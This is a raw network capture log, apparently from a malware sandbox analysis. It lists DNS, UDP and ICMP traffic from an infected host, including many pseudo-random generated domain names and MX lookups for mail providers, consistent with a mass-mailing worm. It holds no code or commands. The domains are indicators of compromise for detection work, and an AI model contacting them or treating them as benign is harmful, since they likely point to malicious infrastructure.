Oct 31, 2022 12:21:05.466470003 CET	53	60161	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:05.471962929 CET	64654	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:05.490844011 CET	53	64654	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:05.499656916 CET	53587	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:05.516232014 CET	65424	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:05.518870115 CET	53	53587	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:05.529979944 CET	53	52883	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:05.535499096 CET	53	65424	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:05.539386034 CET	61747	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:05.707509995 CET	53	61747	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:06.002845049 CET	62958	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:06.023179054 CET	53	62958	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:09.650681019 CET	58263	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:09.661159039 CET	53270	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:09.669723034 CET	53	58263	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:09.673926115 CET	51217	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:09.678632975 CET	53	53270	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:09.688251019 CET	54866	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:09.693315029 CET	53	51217	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:09.705019951 CET	53	54866	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:09.709835052 CET	58582	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:09.728615046 CET	53	58582	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:09.785465002 CET	53195	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:10.813075066 CET	53195	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:10.895137072 CET	52128	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:10.897588015 CET	62383	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:10.912341118 CET	53	52128	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:10.916610003 CET	53	62383	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:12.184492111 CET	53	53195	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:12.455827951 CET	50015	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:12.473768950 CET	53195	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:12.475131989 CET	53	50015	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:12.836323023 CET	52871	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:12.856144905 CET	53	52871	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:12.880634069 CET	57530	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:12.898041010 CET	53	57530	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:13.268325090 CET	53	53195	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:13.589920998 CET	54059	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:13.609114885 CET	53	54059	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:14.213293076 CET	53766	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:14.241602898 CET	53	53766	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:14.862826109 CET	53	53195	8.8.8.8	192.168.2.5
Oct 31, 2022 12:21:20.620145082 CET	63331	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:21:20.639256954 CET	53	63331	8.8.8.8	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 31, 2022 12:19:43.835124016 CET	192.168.2.5	8.8.8.8	cfef	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:19:45.880054951 CET	192.168.2.5	8.8.8.8	cfef	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:19:56.412534952 CET	192.168.2.5	8.8.8.8	cfef	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:19:57.358318090 CET	192.168.2.5	8.8.8.8	cfef	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:20:11.026041031 CET	192.168.2.5	8.8.8.8	cfef	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:20:12.057658911 CET	192.168.2.5	8.8.8.8	cfef	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:20:20.740072012 CET	192.168.2.5	8.8.8.8	cfef	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:20:22.312463999 CET	192.168.2.5	8.8.8.8	cfef	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:20:24.616245031 CET	192.168.2.5	8.8.8.8	d031	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:20:30.650898933 CET	192.168.2.5	8.8.8.8	d045	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:20:31.941858053 CET	192.168.2.5	8.8.8.8	d043	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:20:36.674458027 CET	192.168.2.5	8.8.8.8	cfef	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:20:37.674870968 CET	192.168.2.5	8.8.8.8	cfef	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:20:47.347877026 CET	192.168.2.5	8.8.8.8	cfef	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:20:48.418314934 CET	192.168.2.5	8.8.8.8	cfef	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:21:02.854558945 CET	192.168.2.5	8.8.8.8	cfef	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:21:04.730695009 CET	192.168.2.5	8.8.8.8	cfef	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:21:13.268407106 CET	192.168.2.5	8.8.8.8	cfef	(Port unreachable)	Destination Unreachable
Oct 31, 2022 12:21:14.862974882 CET	192.168.2.5	8.8.8.8	cfef	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2022 12:19:29.251045942 CET	192.168.2.5	8.8.8.8	0x47f1	Standard query (0)	qamaahmnen.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:30.216037989 CET	192.168.2.5	8.8.8.8	0x6017	Standard query (0)	wsanasnrar.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:30.252424955 CET	192.168.2.5	8.8.8.8	0x886d	Standard query (0)	nerwsrehmn.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:30.284954071 CET	192.168.2.5	8.8.8.8	0xceb3	Standard query (0)	ehqapshmqs.ws	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:30.704355001 CET	192.168.2.5	8.8.8.8	0x458f	Standard query (0)	npessqaesn.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:30.738352060 CET	192.168.2.5	8.8.8.8	0xc2dd	Standard query (0)	mqrqqhepsr.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:30.841303110 CET	192.168.2.5	8.8.8.8	0x105f	Standard query (0)	rrmqanpnwa.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:30.900392056 CET	192.168.2.5	8.8.8.8	0x9cad	Standard query (0)	emnhnawmen.ws	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.517200947 CET	192.168.2.5	8.8.8.8	0xade6	Standard query (0)	qnrsaaarmh.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.526806116 CET	192.168.2.5	8.8.8.8	0x8962	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:31.585810900 CET	192.168.2.5	8.8.8.8	0x515c	Standard query (0)	saqpssases.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.613231897 CET	192.168.2.5	8.8.8.8	0x442d	Standard query (0)	prwmrnpqes.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.617522001 CET	192.168.2.5	8.8.8.8	0x75cc	Standard query (0)	alumni.caltech.edu	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:31.656279087 CET	192.168.2.5	8.8.8.8	0xddd5	Standard query (0)	mhhpmrwmma.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.660973072 CET	192.168.2.5	8.8.8.8	0xa55d	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.709661007 CET	192.168.2.5	8.8.8.8	0x6e94	Standard query (0)	ahqphrrmea.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.727190971 CET	192.168.2.5	8.8.8.8	0x9aea	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:31.736215115 CET	192.168.2.5	8.8.8.8	0xc9ad	Standard query (0)	wwqsnwppes.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.764776945 CET	192.168.2.5	8.8.8.8	0x9ec2	Standard query (0)	aaqamerqwa.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.805707932 CET	192.168.2.5	8.8.8.8	0x8789	Standard query (0)	mmwepspqwa.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.810369015 CET	192.168.2.5	8.8.8.8	0x9b0e	Standard query (0)	alumni-caltech-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.812804937 CET	192.168.2.5	8.8.8.8	0x6d9b	Standard query (0)	kinoho.net	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:31.836949110 CET	192.168.2.5	8.8.8.8	0x8fa7	Standard query (0)	qrmwehwwsn.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.841335058 CET	192.168.2.5	8.8.8.8	0x5d6c	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.885865927 CET	192.168.2.5	8.8.8.8	0x9c79	Standard query (0)	hhnhsmeren.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.889323950 CET	192.168.2.5	8.8.8.8	0xfe31	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.920218945 CET	192.168.2.5	8.8.8.8	0xd039	Standard query (0)	prwnpnspha.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.948231936 CET	192.168.2.5	8.8.8.8	0xc9f3	Standard query (0)	smpamewrns.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:31.974533081 CET	192.168.2.5	8.8.8.8	0xf0f9	Standard query (0)	qnmpehmpra.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.010677099 CET	192.168.2.5	8.8.8.8	0x3389	Standard query (0)	sphhpenran.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.040576935 CET	192.168.2.5	8.8.8.8	0x2a38	Standard query (0)	apnssmrrqs.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.067931890 CET	192.168.2.5	8.8.8.8	0xd0f	Standard query (0)	mwrqpqeeen.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.099493027 CET	192.168.2.5	8.8.8.8	0xcb38	Standard query (0)	qrmahrnesh.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.139236927 CET	192.168.2.5	8.8.8.8	0x5608	Standard query (0)	sanpspmrsn.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.171751022 CET	192.168.2.5	8.8.8.8	0xcf44	Standard query (0)	qshwspwhsn.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.205796003 CET	192.168.2.5	8.8.8.8	0xd275	Standard query (0)	wphqaqwenn.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.244863033 CET	192.168.2.5	8.8.8.8	0x7ecf	Standard query (0)	nqpemnraha.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.273159027 CET	192.168.2.5	8.8.8.8	0x6d7e	Standard query (0)	hmrnphameh.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.312454939 CET	192.168.2.5	8.8.8.8	0x6909	Standard query (0)	nmeearrrmn.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.353329897 CET	192.168.2.5	8.8.8.8	0x30d3	Standard query (0)	wqsnnpeahh.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.383399010 CET	192.168.2.5	8.8.8.8	0x3cef	Standard query (0)	rsmwassewn.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.422178984 CET	192.168.2.5	8.8.8.8	0x73b6	Standard query (0)	eqrrmhhwhh.ws	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.805675030 CET	192.168.2.5	8.8.8.8	0xb1dd	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.846282005 CET	192.168.2.5	8.8.8.8	0x6de5	Standard query (0)	qswpppqnms.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.882972956 CET	192.168.2.5	8.8.8.8	0x952b	Standard query (0)	hanawnqnwn.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.911679983 CET	192.168.2.5	8.8.8.8	0x21d1	Standard query (0)	qprhpqwhwh.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:32.946475983 CET	192.168.2.5	8.8.8.8	0x84df	Standard query (0)	eqsnewshhn.ws	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.306808949 CET	192.168.2.5	8.8.8.8	0x71e3	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.357681036 CET	192.168.2.5	8.8.8.8	0xe023	Standard query (0)	newawsanms.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.414866924 CET	192.168.2.5	8.8.8.8	0x8f19	Standard query (0)	smersswaha.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.441075087 CET	192.168.2.5	8.8.8.8	0xdd73	Standard query (0)	amqqsaqhas.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.522772074 CET	192.168.2.5	8.8.8.8	0x658d	Standard query (0)	wsnnrpapaa.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.550987005 CET	192.168.2.5	8.8.8.8	0x2294	Standard query (0)	pqrnwwmweh.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.578829050 CET	192.168.2.5	8.8.8.8	0x7c69	Standard query (0)	msqhqapmsh.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.613023043 CET	192.168.2.5	8.8.8.8	0xd8db	Standard query (0)	qqwhsnpwhn.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.760229111 CET	192.168.2.5	8.8.8.8	0xadbe	Standard query (0)	saehrrehnh.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.789362907 CET	192.168.2.5	8.8.8.8	0x657	Standard query (0)	rqqnpaehma.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.842993975 CET	192.168.2.5	8.8.8.8	0xca0b	Standard query (0)	emrmmpsarh.ws	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:33.856271982 CET	192.168.2.5	8.8.8.8	0x5e35	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:34.266489029 CET	192.168.2.5	8.8.8.8	0xf12d	Standard query (0)	reeahnpewn.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:34.316076040 CET	192.168.2.5	8.8.8.8	0xf30f	Standard query (0)	manqhaspwa.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:34.346190929 CET	192.168.2.5	8.8.8.8	0xa25a	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:34.349211931 CET	192.168.2.5	8.8.8.8	0x4176	Standard query (0)	wnshehamhh.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:34.906615973 CET	192.168.2.5	8.8.8.8	0x2d4	Standard query (0)	remrpqpseh.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:34.933540106 CET	192.168.2.5	8.8.8.8	0x9873	Standard query (0)	hwnppemeea.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:34.961807013 CET	192.168.2.5	8.8.8.8	0x707e	Standard query (0)	pnaqheqnsa.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:34.990408897 CET	192.168.2.5	8.8.8.8	0x294a	Standard query (0)	mwhnpqrmrn.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:35.018277884 CET	192.168.2.5	8.8.8.8	0x653a	Standard query (0)	pwramqmsms.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:35.067004919 CET	192.168.2.5	8.8.8.8	0x6748	Standard query (0)	hmamsmwhar.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:35.098949909 CET	192.168.2.5	8.8.8.8	0x8650	Standard query (0)	pqshhpemrn.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:35.127361059 CET	192.168.2.5	8.8.8.8	0x230f	Standard query (0)	wpqqhhspps.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:35.879125118 CET	192.168.2.5	8.8.8.8	0x512a	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:35.916824102 CET	192.168.2.5	8.8.8.8	0x58fa	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:35.919306993 CET	192.168.2.5	8.8.8.8	0x1b60	Standard query (0)	riseup.net	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:35.964627981 CET	192.168.2.5	8.8.8.8	0xce4b	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:35.990546942 CET	192.168.2.5	8.8.8.8	0x51d2	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.034214020 CET	192.168.2.5	8.8.8.8	0xd7bd	Standard query (0)	mail.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:36.058588982 CET	192.168.2.5	8.8.8.8	0xc39c	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.092003107 CET	192.168.2.5	8.8.8.8	0x3d28	Standard query (0)	mx1.riseup.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.128288984 CET	192.168.2.5	8.8.8.8	0xb206	Standard query (0)	nqenrpwpeh.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.157036066 CET	192.168.2.5	8.8.8.8	0x12b2	Standard query (0)	spawwehsrs.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.185790062 CET	192.168.2.5	8.8.8.8	0x217	Standard query (0)	ppeseaqmms.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.213133097 CET	192.168.2.5	8.8.8.8	0xe1f7	Standard query (0)	msarphnewh.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.240333080 CET	192.168.2.5	8.8.8.8	0x154f	Standard query (0)	pwqpewwahh.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.267828941 CET	192.168.2.5	8.8.8.8	0x1bb9	Standard query (0)	hmparqsaqa.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.297079086 CET	192.168.2.5	8.8.8.8	0xc093	Standard query (0)	qsqpspspqn.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.328371048 CET	192.168.2.5	8.8.8.8	0xce15	Standard query (0)	haearrsqhn.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.364430904 CET	192.168.2.5	8.8.8.8	0x665b	Standard query (0)	qnrnwnwaas.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.500479937 CET	192.168.2.5	8.8.8.8	0x9277	Standard query (0)	weaeprawra.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.530611992 CET	192.168.2.5	8.8.8.8	0xb90f	Standard query (0)	qmhqeesawh.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.581486940 CET	192.168.2.5	8.8.8.8	0x386a	Standard query (0)	ssnsphrnws.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.607451916 CET	192.168.2.5	8.8.8.8	0x22be	Standard query (0)	aewrhprres.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:36.616563082 CET	192.168.2.5	8.8.8.8	0xf1ed	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.040363073 CET	192.168.2.5	8.8.8.8	0x2969	Standard query (0)	mpehqsqwmn.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.067003965 CET	192.168.2.5	8.8.8.8	0x590a	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.071773052 CET	192.168.2.5	8.8.8.8	0xdac8	Standard query (0)	rnrmmnpnpn.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.113713026 CET	192.168.2.5	8.8.8.8	0x41da	Standard query (0)	mwaaemmnhn.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.159950018 CET	192.168.2.5	8.8.8.8	0x25bd	Standard query (0)	asnrrsamsa.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.592168093 CET	192.168.2.5	8.8.8.8	0x8a26	Standard query (0)	whmrraawha.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.615214109 CET	192.168.2.5	8.8.8.8	0xc953	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.623959064 CET	192.168.2.5	8.8.8.8	0x4b9c	Standard query (0)	qmsaspnsna.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.672054052 CET	192.168.2.5	8.8.8.8	0xbf9a	Standard query (0)	hnehqqwwrs.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.703938961 CET	192.168.2.5	8.8.8.8	0xca56	Standard query (0)	qppamspwhs.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.739639044 CET	192.168.2.5	8.8.8.8	0x5021	Standard query (0)	weeqshswms.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.766036987 CET	192.168.2.5	8.8.8.8	0x7744	Standard query (0)	aanparshnh.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.846152067 CET	192.168.2.5	8.8.8.8	0xfdc	Standard query (0)	hpeqherars.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.901927948 CET	192.168.2.5	8.8.8.8	0xe4c4	Standard query (0)	nnhhneqnrh.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.934067965 CET	192.168.2.5	8.8.8.8	0xdadb	Standard query (0)	saanqmaqpn.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.016320944 CET	192.168.2.5	8.8.8.8	0xf97b	Standard query (0)	armahmrsaa.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.048203945 CET	192.168.2.5	8.8.8.8	0xc436	Standard query (0)	wqahhaqenh.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.080800056 CET	192.168.2.5	8.8.8.8	0xc9c4	Standard query (0)	aharwhphnh.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.169123888 CET	192.168.2.5	8.8.8.8	0xc986	Standard query (0)	mnrepmepar.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.194469929 CET	192.168.2.5	8.8.8.8	0x301b	Standard query (0)	apqhwmnqrh.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.225773096 CET	192.168.2.5	8.8.8.8	0xa6b7	Standard query (0)	mehsnsamha.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.253804922 CET	192.168.2.5	8.8.8.8	0x5232	Standard query (0)	qqpqwehwah.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.287765980 CET	192.168.2.5	8.8.8.8	0x657c	Standard query (0)	sqmswpnqws.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.329530954 CET	192.168.2.5	8.8.8.8	0x344d	Standard query (0)	pqarnhhhhn.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.362986088 CET	192.168.2.5	8.8.8.8	0x189c	Standard query (0)	hqepnmqewn.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.392364979 CET	192.168.2.5	8.8.8.8	0xb9b1	Standard query (0)	rsrsemnren.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.413801908 CET	192.168.2.5	8.8.8.8	0xe462	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.489140034 CET	192.168.2.5	8.8.8.8	0xddee	Standard query (0)	spewqmspma.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.525554895 CET	192.168.2.5	8.8.8.8	0x8deb	Standard query (0)	rahhhqwqqa.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.580905914 CET	192.168.2.5	8.8.8.8	0x16cf	Standard query (0)	empewsqsqa.ws	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.025027037 CET	192.168.2.5	8.8.8.8	0xd589	Standard query (0)	pmnrrneaah.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.055596113 CET	192.168.2.5	8.8.8.8	0x1b08	Standard query (0)	mnwsnarssr.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.145095110 CET	192.168.2.5	8.8.8.8	0x82ce	Standard query (0)	rrpnmeawrs.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.209091902 CET	192.168.2.5	8.8.8.8	0xbae9	Standard query (0)	sermsqqqna.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.251122952 CET	192.168.2.5	8.8.8.8	0xeea2	Standard query (0)	rsqsepmwas.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.329693079 CET	192.168.2.5	8.8.8.8	0xe41	Standard query (0)	mqpppnhaes.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.364073038 CET	192.168.2.5	8.8.8.8	0x9a17	Standard query (0)	aqmrnawpan.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.464081049 CET	192.168.2.5	8.8.8.8	0x453	Standard query (0)	wrnwernreh.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.662169933 CET	192.168.2.5	8.8.8.8	0x43fc	Standard query (0)	aeaqmpsaqa.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.766190052 CET	192.168.2.5	8.8.8.8	0x6f5c	Standard query (0)	whwsqnemsn.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.797127962 CET	192.168.2.5	8.8.8.8	0xab7c	Standard query (0)	rqeaqeewas.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.863698959 CET	192.168.2.5	8.8.8.8	0x4e6	Standard query (0)	wqpaamhwrs.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.890840054 CET	192.168.2.5	8.8.8.8	0xea5c	Standard query (0)	reaaheeara.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:40.315051079 CET	192.168.2.5	8.8.8.8	0x8828	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:40.529295921 CET	192.168.2.5	8.8.8.8	0x2241	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:41.437227011 CET	192.168.2.5	8.8.8.8	0x8828	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:43.425649881 CET	192.168.2.5	8.8.8.8	0x8828	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:44.450177908 CET	192.168.2.5	8.8.8.8	0xdc0d	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:44.488102913 CET	192.168.2.5	8.8.8.8	0xe17a	Standard query (0)	alumni.caltech.edu	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:44.499906063 CET	192.168.2.5	8.8.8.8	0x6ead	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)	false
